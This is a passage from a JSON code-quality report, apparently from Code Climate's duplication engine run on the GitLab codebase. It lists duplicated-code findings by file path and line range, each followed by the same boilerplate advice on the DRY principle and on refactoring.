[`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"99f151d4d58ba006fbb17af802305432","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/ci/pipeline.rb","lines":{"begin":572,"end":575}},"remediation_points":150000,"other_locations":[{"path":"app/models/ci/runner.rb","lines":{"begin":220,"end":223}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3c0fb0db7a1fa6852c67bd50857aa448","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/ci/runner.rb","lines":{"begin":220,"end":223}},"remediation_points":150000,"other_locations":[{"path":"app/models/ci/pipeline.rb","lines":{"begin":572,"end":575}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"44cfa492a10b5b72b394efe01cd9e29d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/variables.rb","lines":{"begin":49,"end":57}},"remediation_points":150000,"other_locations":[{"path":"lib/api/group_variables.rb","lines":{"begin":49,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"320c3b54951e69257faaca3316f72058","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/group_variables.rb","lines":{"begin":49,"end":57}},"remediation_points":150000,"other_locations":[{"path":"lib/api/variables.rb","lines":{"begin":49,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fa689b5b4bab39de500b86b3d6814963","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/fix_cross_project_label_links.rb","lines":{"begin":65,"end":75}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/background_migration/fix_cross_project_label_links.rb","lines":{"begin":81,"end":91}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"26a19237576df2b97ff121c3b0cd2342","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/fix_cross_project_label_links.rb","lines":{"begin":81,"end":91}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/background_migration/fix_cross_project_label_links.rb","lines":{"begin":65,"end":75}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"26a19237576df2b97ff121c3b0cd2342","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":136,"end":150}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":153,"end":167}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fc526fdd6733948898ee897d1eef487e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":153,"end":167}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":136,"end":150}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fc526fdd6733948898ee897d1eef487e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/redis/shared_state.rb","lines":{"begin":13,"end":29}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/redis/queues.rb","lines":{"begin":12,"end":28}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"077a90f16d3842a49d8095f339e2187f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/redis/queues.rb","lines":{"begin":12,"end":28}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/redis/shared_state.rb","lines":{"begin":13,"end":29}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f48114ce0a7710485f176b1b75c08e79","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/template/issue_template.rb","lines":{"begin":2,"end":14}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/template/merge_request_template.rb","lines":{"begin":2,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"685a5435dac10b7fc45977c34f30aba3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/template/merge_request_template.rb","lines":{"begin":2,"end":14}},"remediation_points":150000,"other_locations":[{"path":"lib/gitlab/template/issue_template.rb","lines":{"begin":2,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bc65c6ec010926daa88fbdcb539ddeea","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/environments/mixins/environments_mixin.js","lines":{"begin":164,"end":170}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":41,"end":47}},{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":45,"end":51}},{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":33,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) 